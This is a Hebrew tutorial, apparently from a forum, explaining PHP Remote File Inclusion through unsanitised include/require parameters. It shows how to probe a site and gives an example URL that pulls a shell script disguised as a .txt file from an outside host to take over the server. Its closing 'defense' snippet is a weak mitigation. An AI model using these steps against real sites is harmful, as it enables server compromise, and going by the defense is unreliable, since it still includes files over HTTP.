תוכן:
1.על מה ההתקפה מתבססת?
2.איך נזהה אתר פגיע?
3.דרכים להתקפה
4.דרכים להגנה
על מה ההתקפה מתבססת?
אז ככה זה הולך..ההתקפה מתבצעתעל אתרים שעושים שימוש בקוד(שפת PHP)שהוא לא מוגן בפונקציות של Require ושל Include.
הפונקציות הנ"ל מקבלות נתיב של קובץ מסויים, ומיבאות אותו לדף ה PHP שבו רשום הקוד של הייבוא, ז"א שאיפה שיהיה רשום הפונקציות שמיבאות בדף ה PHP שלך, שם יהיה רשום מה שהפונקצייה קיבלה.
השימוש בפונקציות אלו מתבצע כך:
קוד:
Require ($file_path);
Include ($file_path);
השוני, ההבדל בין הפונקציות האלו ש Include תמשיך להריץ את התוכנים גם אם תיהיה שגיאה.
ואילו Require תפסיק את התוכנים אם תקבל שגיאה.
מה הבעיה עכשיו?
הבעיה היא שכאשר מיבאים קובץ PHP לקובץ אחר כשה שניהם נמצאים על אותו שרת הקובץ מיובא לקובץ שהריץ את הפונקציה והקוד PHP יורץ על השרת.
ככה:
קוד:
Include (main.php);
לעומתץ זאת, אם אנחנו ננסה לייבא קובץ משרת אחר, הקוד לא יורץ על השרת.
כך:
קוד:
Include (http://www.example.com/index.php);
אתר בעייתי:
הרבה מאוד אתרים משתמשים בפונקציות שרשמתי כאן, בלי ידיעה על הבעיתיות בהם.
לדוגמא:
קוד:
http://www.example.com/index.php?page=main.php
וזה מה שיהיה רשום בתוך הקובץ PHP:
קוד:
Include ($_GET[page]);
תוקף שמבין קצת בזה, יכול לשנות את הפרמטר לכתובת ששיכת לו, ולהריץ קובץ בסיומת שונה משל PHP עם פקודות זדוניות של PHP, לדוגמא, שאלל קוד(ShellCode).
איך נזהה אתר שהוא פגיע?
ניתן לזהות אתר פגיע על ידי זיהו הפרמטרים שנשלחים בכתובת
לדוגמא:
קוד:
http://www.example.com/index.php?page=main.php
אם ניקח את הכתובת של האתר ונשנה לה קצת משם?
לדוגמא:
קוד:
http://www.example.com/index.php?page=http://www.google.com
אם הדף של האתר יציג את גוגל איפה שהו, סימן שהאתר פגיע.
דרכי התקפה:
כבר מכל מה שרשמתי פה, אפשר לזהות אתר פגיע.
נוכל לכתוב כל קוד PHP שאנו רוצים, החל מקוד פשוט, ועד לקוד שנותן גישת SHELL מלאה.
הטריק בהתקפה הוא שנעלה את הקובץ PHP לשרת מסויים, אבל!, שימו לב, לא בסיומת של PHP אלא בסיומת אחרת כגון
jpg
txt
doc
ולהלן אני אראה לכם פה דוגמא:
קוד:
http://www.example.com/index.php?page=http://www.somehost.com/shell.txt
ואם האתר פגיע, והרצתם שאלל קוד, תוכלו לקב גישה כמעט מלאה לשרת.
דרכי הגנה.
כמו כן, ישנן מספר דרכים לחסום את הפרצה, אני לא אפרט אותן, אבל אני אדגים:
קוד:
$Path= ’http://www.example.com/’.$_GET[page];
Require ($Path);
רק תזכרו, המדריך ללמידה בלבד.